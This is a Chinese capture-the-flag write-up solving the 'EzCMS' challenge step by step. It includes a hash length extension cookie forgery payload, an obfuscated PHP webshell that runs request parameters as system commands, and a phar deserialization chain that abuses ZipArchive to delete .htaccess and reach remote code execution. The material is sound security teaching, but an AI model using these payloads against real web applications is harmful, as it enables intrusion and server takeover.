EzCMS

尝试admin/admin登录,发现提示u r not admin !!!,换个用户名登录能够登录但是不能上传,还是提示u r not admin !!!,说明一定要admin登录才能上传文件,先扫描一波目录发现www.zip源码泄露

我们现在在登录框这里,那么我们就看看相关的代码

//index.php
if ($password === "admin"){
        die("u r not admin !!!");
    }
//config.php
function login(){
    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;
}

function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

这是典型的hash长度扩展攻击,burpsuite抓包获取到hash
1.png
$secret+adminadmin长度为13,利用hashpump生成payload,附加数据至少一位以上
2.png
得到

16b4749dfe1485120ea0912338d13a78
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00xxx

第一个是新的签名,把它设置到cookie的user里面
3.png
第二个把\x替换成%

admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00xxx

然后post提交,就成功以admin账户登录
发现一登录进去就自动上传了一个.hatccess进去,内容为lolololol, i control all,这下无论上传什么php文件打开都是500报错,无法解析,于是我们想到删除或者重写它
开始代码审计,在view.php里面实例化了File类使用了mime_content/-type(),再想到上传结合SUCTF2019出题笔记(https://xz.aliyun.com/t/6057),可能是phar反序列化

 public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }
        $mine = mime_content_type($this->filepath);
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;

    }

4.png
下面是构造利用链来删除或者重写.htaccess
首先来看view.php

//view.php
<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);
$res = $file->view_detail();
$mine = $res['mine'];
$store_path = $res['store_path'];

echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;

可以看到在view.php页面,会用传入的$file_name$file_path参数实例化File类,然后调用view_detail()方法,跟进File类:

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
    }

    public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }
        $mine = mime_content_type($this->filepath);
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;

    }

    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }

}

发现__destruct()方法,可以看到用$checker调用了此类中不存的upload_file()函数,于是想到了__call()方法,继续寻找,发现Profile类中存在可利用的__call()方法,如下:

class Profile{

    public $username;
    public $password;
    public $admin;

    public function is_admin(){
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];
        $secret = "********";
        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;

    }
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}

File类里面的open方法如下:

public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

view.php里面知道admin是可控的,于是可以找一下php里面有没有可以用来删除/重写文件的类,正好存在可利用的同名open()方法,这样我们就可以将$admin实例化为此类的对象,这里用到ZipArchive类(https://www.php.net/manual/en/zip.constants.php#ziparchive.constants.overwrite)
5.png
使用上述两个模式并将文件名设为.htaccess的路径,即可删除该文件

知道思路后先记录下当前.htaccess文件路径,然后上传一个shell.php,记录上传后的路径

//shell.php
<?php
$a="syste";
$b="m";
$c=$a.$b;
$d=$c($_REQUEST['a']);
?>

用如下代码构造phar文件

<?php
class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
        $this->checker = new Profile();
    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct()
    {
        $this->username =  "/var/www/html/sandbox/5986bdeafa01f62fdfd715792cb1beff/.htaccess";
        $this->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
        $this->admin = new ZipArchive();
    }
}
$a = new File('Lethe','Lethe');
//echo unserialize($a);
@unlink("1.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

6.png
然后在view.php触发反序列化
传入

filename=5986bdeafa01f62fdfd715792cb1beff/eec2d95bc618625503306c10fad5d37d.phar
filepath=php://filter/resource=phar://sandbox/5986bdeafa01f62fdfd715792cb1beff/eec2d95bc618625503306c10fad5d37d.phar

就成功删除了.htaccess
7.png
注意删除后不能再次访问upload.php,否则会再生成.htaccess,直接访问刚才上传shell返回的路径即可RCE
8.png

参考链接

https://blog.csdn.net/qq_42181428/article/details/100659865